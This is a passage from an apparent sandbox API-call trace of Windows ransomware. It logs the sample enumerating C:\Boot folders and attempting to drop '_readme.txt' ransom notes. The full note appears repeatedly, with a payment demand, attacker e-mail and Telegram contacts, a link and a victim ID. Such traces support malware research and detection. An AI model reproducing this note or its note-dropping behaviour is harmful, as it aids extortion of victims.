Size=0x7d00) returned 0x39f7f20 [0116.445] lstrcpyW (in: lpString1=0x39f7f20, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" [0116.445] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf", lpString2="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" [0116.445] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dd3b8 [0116.445] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\_readme.txt" (normalized: "c:\\boot\\pl-pl\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.445] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dd3b8 | out: hHeap=0xd10000) returned 1 [0116.445] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f7f20 | out: hHeap=0xd10000) returned 1 [0116.445] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.445] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.445] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0116.445] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.445] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.445] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0116.445] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0116.445] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0116.445] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.445] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c98 | out: hHeap=0xd10000) returned 1 [0116.446] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c98 [0116.446] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.446] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.446] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.446] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.446] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.446] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.446] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.446] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.446] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.446] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.446] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.446] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.446] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.446] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.446] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.446] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.446] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.446] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.446] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.446] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.446] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.446] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.446] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.446] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.446] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.446] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.446] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.446] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0116.446] PathFindFileNameW (pszPath="C:\\Boot\\pt-BR\\") returned="pt-BR\\" [0116.446] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.447] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0116.447] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.447] PathFindFileNameW (pszPath="") returned="" [0116.447] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.447] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75900000 [0116.447] GetProcAddress (hModule=0x75900000, lpProcName="SHGetFolderPathW") returned 0x75985708 [0116.447] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x800) returned 0x39f3ef0 [0116.447] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39f3ef0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0116.447] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x810) returned 0x39f46f8 [0116.447] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.447] FreeLibrary (hLibModule=0x75900000) returned 1 [0116.447] PathAppendW (in: pszPath="C:\\Boot\\pt-BR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\pt-BR\\_readme.txt") returned 1 [0116.447] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.447] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.447] PathFileExistsW (pszPath="C:\\Boot\\pt-BR\\_readme.txt") returned 0 [0116.448] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x7d00) returned 0x39f7f20 [0116.448] lstrcpyW (in: lpString1=0x39f7f20, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" [0116.448] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf", lpString2="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" [0116.448] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dd3b8 [0116.448] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\_readme.txt" (normalized: "c:\\boot\\pt-br\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.449] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dd3b8 | out: hHeap=0xd10000) returned 1 [0116.449] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f7f20 | out: hHeap=0xd10000) returned 1 [0116.449] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.449] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.449] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0116.449] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.449] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.449] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0116.449] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0116.449] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0116.449] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.451] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c98 | out: hHeap=0xd10000) returned 1 [0116.451] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c98 [0116.451] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.451] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.451] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.451] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.451] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.451] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.451] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.451] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.451] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.451] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.451] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.451] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.451] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.451] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.451] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.451] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.451] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.451] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.451] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.451] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.451] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.451] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.451] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.451] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.451] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.452] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.452] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 